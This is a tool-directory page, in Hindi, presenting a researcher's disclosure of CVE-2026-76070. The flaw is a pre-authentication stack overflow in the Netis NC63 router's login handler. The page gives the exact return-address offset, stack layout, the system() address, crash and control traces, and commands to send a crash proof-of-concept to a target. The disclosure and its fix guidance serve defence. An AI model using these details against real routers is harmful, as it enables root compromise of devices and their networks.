Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-76070 — Netis NC63 login.cgi में प्री-ऑथ Base64-डिकोडेड पासवर्ड स्टैक बफर ओवरफ्लो के लिए मूल शोध और गैर-विनाशकारी PoC | Kitploit
उपकरण/GitHubGitHub/ozcanpng/cve-2026-76070
एम्बेडेड सिस्टम सुरक्षाIoT सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगफर्मवेयर विश्लेषणबाइनरी शोषण
GitHubozcanpng/cve-2026-76070

CVE-2026-76070

Netis NC63 login.cgi में प्री-ऑथ Base64-डिकोडेड पासवर्ड स्टैक बफर ओवरफ्लो के लिए मूल शोध और गैर-विनाशकारी PoC

रिपॉजिटरी देखें
14 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-76070: Netis NC63 login.cgi में बेस64-डिकोडेड पासवर्ड के माध्यम से बिना प्रमाणीकरण (प्री-ऑथ) स्टैक बफर ओवरफ्लो, जो RCE की ओर ले जाता है

शोधकर्ता: Özcan Ersan (@ozcanpng)

प्रकटीकरण स्थिति

  • CVE: CVE-2026-76070
  • विक्रेता: Netis Systems Co., Ltd.
  • उत्पाद: Netis NC63 Wireless AC1200 Router
  • परीक्षित फर्मवेयर: NC63_V3.0.0.3327
  • प्रभावित घटक: /bin/netis.cgi
  • समापन बिंदु: POST /cgi-bin/login.cgi
  • पैरामीटर: बेस64-एन्कोडेड password
  • प्रमाणीकरण: कोई नहीं; असुरक्षित डिकोड क्रेडेंशियल तुलना से पहले होता है
  • आर्किटेक्चर: MIPS32r2 लिटिल-एंडियन, o32 ABI, uClibc
  • भेद्यता वर्ग: स्टैक-आधारित बफर ओवरफ्लो जिसमें सहेजे गए रिटर्न-पते का नियंत्रण
  • सत्यापन: एक पृथक QEMU यूज़र-मोड रनटाइम में मूल-हैश प्रोडक्शन CGI
  • तैयारी के समय CVE रिकॉर्ड की स्थिति: निर्धारित; CNA रिकॉर्ड विवरण भरा जाना शेष

कार्यकारी सारांश

Netis NC63 फर्मवेयर V3.0.0.3327 में सार्वजनिक लॉगिन हैंडलर हमलावर-नियंत्रित password पैरामीटर प्राप्त करता है और उसे कस्टम बेस64 रूटीन FUN_00402bd4 से डिकोड करता है। कॉलर 64-बाइट लोकल स्टैक बफर प्रदान करता है लेकिन डिकोडर को उसकी क्षमता (capacity) नहीं देता। डिकोडर अपना कार्य एन्कोडेड इनपुट से लेता है और गंतव्य के अंत की जाँच किए बिना डिकोडेड बाइट्स लिखता है।

सहेजा गया MIPS रिटर्न पता डिकोडेड बफर की शुरुआत से 136 बाइट्स दूर है। मूल-हैश प्रोडक्शन CGI के विरुद्ध गतिशील परीक्षणों ने पुष्टि की:

  1. 140-बाइट डिकोडेड B पैटर्न 0x42424242 पर फॉल्ट उत्पन्न करता है;
  2. सहेजे गए ra को 0x0041a2e0 से बदलने पर लॉगिन हैंडलर में दूसरा प्रवेश देखा गया, जो प्रोग्राम-काउंटर नियंत्रण सिद्ध करता है; तथा
  3. एक पृथक केवल-अवलोकन परीक्षण मूल बाइनरी के सीधे system() कॉल तक हमलावर-चयनित MIPS a0 मान के साथ पहुँचता है। प्रतिस्थापित /bin/sh ने /bin/sh -c NC63_RCE_PROOF लॉग किया और कोई कमांड निष्पादित नहीं किया।

इस रिपॉजिटरी में सार्वजनिक PoC जानबूझकर एक क्रैश पैटर्न पर रुकता है। इसमें कोई रिटर्न चेन, शेलकोड, कमांड, रिवर्स शेल या पर्सिस्टेंस नहीं है।

प्रभावित आर्टिफैक्ट की अखंडता

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi

गतिशील रूप से परीक्षित /bin/netis.cgi प्रति का SHA-256 विक्रेता-निकाले गए एक्ज़ीक्यूटेबल के समान है।

मूल और रनटाइम हैश

हमले की सतह और प्रमाणीकरण स्थिति

विक्रेता फ्रंटएंड पासवर्ड को सार्वजनिक समापन बिंदु पर बेस64 के रूप में भेजता है:

root@kitploit:~
obj.password = base64encode(utf16to8(password));
request({
    url: "/cgi-bin/login.cgi",
    data: obj
});

HTML फ़ील्ड maxlength="63" का उपयोग करता है, लेकिन यह केवल ब्राउज़र-पक्ष प्रतिबंध है। एक सीधा HTTP क्लाइंट बड़ा एन्कोडेड मान सबमिट कर सकता है।

फ्रंटएंड अनुरोध और क्लाइंट-केवल सीमा

login.cgi प्रमाणीकरण से पहले आवश्यक रूप से पहुँच योग्य है। असुरक्षित डिकोड डिकोडेड पासवर्ड की कॉन्फ़िगर किए गए व्यवस्थापक पासवर्ड से तुलना होने से पहले होता है। कोई मान्य सत्र, Cookie हेडर, Authorization हेडर या सही पासवर्ड आवश्यक नहीं है।

स्रोत-से-सिंक ट्रेस

root@kitploit:~
Unauthenticated HTTP client
  |
  | POST /cgi-bin/login.cgi
  | password=<attacker-controlled Base64>
  v
/bin/netis.cgi: FUN_0041a2e0
  |
  | get_request_param("password")
  v
FUN_00402bd4(decoded_stack_buffer, encoded_password)
  |
  | no destination-capacity argument
  | decoded output exceeds 64 bytes
  v
saved s8 at decoded offset 132
saved ra at decoded offset 136
  |
  v
attacker-selected MIPS PC

भेद्य कोड

Ghidra-व्युत्पन्न स्यूडोकोड, पठनीयता के लिए नाम सामान्यीकृत:

root@kitploit:~
int login_cgi(void *request)
{
    char decoded[64];
    char stored[68];
    char *password;

    memset(decoded, 0, 64);
    memset(stored, 0, 64);
    password = get_request_param(request, "password");
    if (password != NULL)
        FUN_00402bd4(decoded, password); /* no capacity argument */

    apmib_get(0x15e, stored);
    if (strcmp(decoded, stored) == 0)
        printf("[\"SUCCESS\"]");
    else {
        system("echo 0 >/tmp/boa_auth");
        printf("[\"%d\"]", 0x15);
    }
    return 0;
}

भेद्य लॉगिन हैंडलर

FUN_00402bd4 पर डिकोडर केवल गंतव्य और स्रोत पॉइंटर्स प्राप्त करता है। इसका लूप गंतव्य पॉइंटर को आगे बढ़ाता है और प्रत्येक चार बेस64 प्रतीकों के लिए तीन डिकोडेड बाइट्स तक संग्रहीत करता है। कोई तुलना गंतव्य को decoded + 64 के विरुद्ध जाँच नहीं करती।

कस्टम बेस64 डिकोडर लेखन लूप

बेस64 इनपुट परिवर्तन है, अंतर्निहित दोष नहीं। मूल कारण हमलावर-नियंत्रित डिकोडेड लंबाई और एक निश्चित-आकार के गंतव्य के बीच का बेमेल है जिसकी क्षमता कभी लागू नहीं की जाती। सामान्य पैडेड इनपुट के लिए, चार एन्कोडेड वर्ण तीन डिकोडेड बाइट्स तक दर्शाते हैं; इसलिए सर्वर-पक्ष जाँचों को लिखने से पहले डिकोडेड आकार की गणना और सत्यापन करना चाहिए।

स्टैक भ्रष्टाचार विश्लेषण

FUN_0041a2e0 0x0041a2e0 पर शुरू होता है और एक 0xa8-बाइट फ्रेम बनाता है:

root@kitploit:~
0041a2e0  addiu sp,sp,-168
0041a2e4  sw    ra,164(sp)
0041a2e8  sw    s8,160(sp)
0041a2ec  move  s8,sp

डिकोडेड गंतव्य s8+0x1c पर शुरू होता है; सहेजे गए s8 और सहेजे गए ra s8+0xa0 और s8+0xa4 पर हैं:

root@kitploit:~
decoded[64]  s8+0x1c   decoded offset 0
saved s8     s8+0xa0   decoded offset 132
saved ra     s8+0xa4   decoded offset 136

सटीक रिटर्न-पता दूरी 0xa4 - 0x1c = 0x88, यानी 136 बाइट्स है।

स्टैक फ्रेम और सहेजे गए ra ऑफसेट

गतिशील सत्यापन

सहेजे गए रिटर्न-पते का अधिलेखन

140-बाइट डिकोडेड B पैटर्न ने चार-बाइट सहेजे गए रिटर्न पते को बदल दिया:

root@kitploit:~
--- SIGSEGV {si_signo=SIGSEGV, si_code=1, si_addr=0x42424242} ---
qemu: uncaught target signal 11 (Segmentation fault)

हमलावर-चयनित रिटर्न पते पर फॉल्ट

प्रोग्राम-काउंटर नियंत्रण

एक अलग 140-बाइट इनपुट ने सहेजे गए ra को 0x0041a2e0 पर सेट किया। QEMU CPU ट्रेसिंग ने एक सामान्य पहला हैंडलर प्रवेश दर्ज किया जिसके बाद s8=0x41414141 और ra=0x0041a2e0 के साथ दूसरा प्रवेश दर्ज हुआ।

नियंत्रित दूसरा हैंडलर प्रवेश

केवल-अवलोकन कमांड सीमा

मूल बाइनरी में 0x0041a3cc पर एक सीधा jal system है। निजी पृथक सत्यापन में, मौजूदा निश्चित-आधार निर्देशों ने a0 में एक मार्कर लोड किया और उस कॉल तक पहुँचे। एक स्थिर अवलोकन प्रोग्राम /bin/sh के ऊपर माउंट किया गया था; इसने कमांड-इंटरप्रेटर तर्कों को लॉग किया और कुछ भी निष्पादित नहीं किया:

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_RCE_PROOF>
CONTROLLED_MARKER_REACHED
PASS: attacker-controlled a0 reached system() and /bin/sh argv.
PASS: the guard logged the request and executed no command.

यह पृथक प्रोडक्शन-कोड पथ में एक RCE प्रिमिटिव प्रदर्शित करता है। यह भौतिक राउटर पर उसके परिनियोजित कर्नेल और स्टैक-रैंडमाइज़ेशन कॉन्फ़िगरेशन के अंतर्गत समान एक्सप्लॉइट विश्वसनीयता स्थापित नहीं करता है।

विशेषाधिकार और बाइनरी-सख्तीकरण संदर्भ

मूल Boa कॉन्फ़िगरेशन User root, Group root, और /bin तथा /web/cgi-bin युक्त CGI पथ निर्दिष्ट करता है। प्रोडक्शन एक्ज़ीक्यूटेबल निश्चित आधार (0x00400000) पर है, इसमें कोई स्टैक कैनरी या RELRO नहीं है, और RWX सेगमेंट के साथ एक निष्पादन योग्य GNU स्टैक घोषित करता है।

प्रोडक्शन Boa विशेषाधिकार कॉन्फ़िगरेशन

बाइनरी सख्तीकरण स्थिति

सुरक्षित सार्वजनिक PoC

शामिल स्क्रिप्ट डिफ़ॉल्ट रूप से ड्राई-रन मोड में है और केवल एक बेस64 फॉर्म बॉडी उत्पन्न करती है जिसमें डिकोडिंग के बाद 140 B बाइट्स होते हैं:

root@kitploit:~
python3 poc/poc.py

भेजने के लिए एक स्पष्ट रूप से अधिकृत लक्ष्य और --send की आवश्यकता है:

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

पैटर्न भेजने से CGI प्रक्रिया क्रैश हो सकती है। इसका उपयोग केवल एक अधिकृत, डिस्पोज़ेबल वातावरण में करें। PoC निजी RCE सत्यापन श्रृंखला को लागू नहीं करता है।

प्रभाव

सफल शोषण राउटर-प्रबंधन संदर्भ में हमलावर-चयनित कोड या कमांड निष्पादित कर सकता है। मूल Boa कॉन्फ़िगरेशन के अंतर्गत यह संदर्भ रूट के रूप में चलता है। संभावित परिणामों में कॉन्फ़िगरेशन और गोपनीय डेटा का प्रकटीकरण, DNS/फ़ायरवॉल/रूटिंग हेरफेर, ट्रैफ़िक पुनर्निर्देशन, सेवा व्यवधान और पूर्ण डिवाइस समझौता शामिल हैं।

उपचार

  1. कस्टम डिकोडर को ऐसे API से बदलें जो गंतव्य क्षमता स्वीकार करे।
  2. ऐसे इनपुट को अस्वीकार करें जिसकी गणना की गई डिकोडेड लंबाई 63 बाइट्स से अधिक हो, जिससे टर्मिनेटर के लिए स्थान आरक्षित रहे।
  3. डिकोडिंग से पहले सर्वर-पक्ष पर लंबाई और बेस64 सिंटैक्स सत्यापित करें।
  4. FUN_00402bd4 के हर कॉलर का ऑडिट करें।
  5. स्टैक कैनरी, PIE, NX और RELRO के साथ पुनर्निर्माण करें।
  6. CGI प्रक्रियाओं को न्यूनतम विशेषाधिकार के साथ चलाएँ।

साक्ष्य सूचकांक

स्क्रीनशॉट और ट्रेस मैपिंग के लिए evidence/README.md देखें। सामान्यीकृत Ghidra अंश attachments/decompiled-functions/ के अंतर्गत हैं।

प्रकटीकरण समयरेखा

  • 2026-08-16: खोज और पृथक प्रोडक्शन-बाइनरी सत्यापन पूर्ण।
  • अगस्त 2026: VulnCheck को रिपोर्ट किया गया।
  • 2026-08-20: VulnCheck ने CVE-2026-76070 निर्धारित किया और सार्वजनिक प्रकटीकरण को अधिकृत किया।
  • 2026-08-20: सार्वजनिक-प्रकटीकरण पैकेज प्रकाशित।

संदर्भ

  • CVE-2026-76070
  • VulnCheck
  • Netis NC63 समर्थन पृष्ठ
  • CVE-2026-73673

कोई भौतिक राउटर फ्लैश नहीं किया गया। किसी वास्तविक शेल कमांड, रिवर्स शेल, पर्सिस्टेंस, बाहरी कनेक्शन, क्रेडेंशियल चोरी या विनाशकारी फर्मवेयर ऑपरेशन का उपयोग नहीं किया गया।

टूल डाउनलोड करें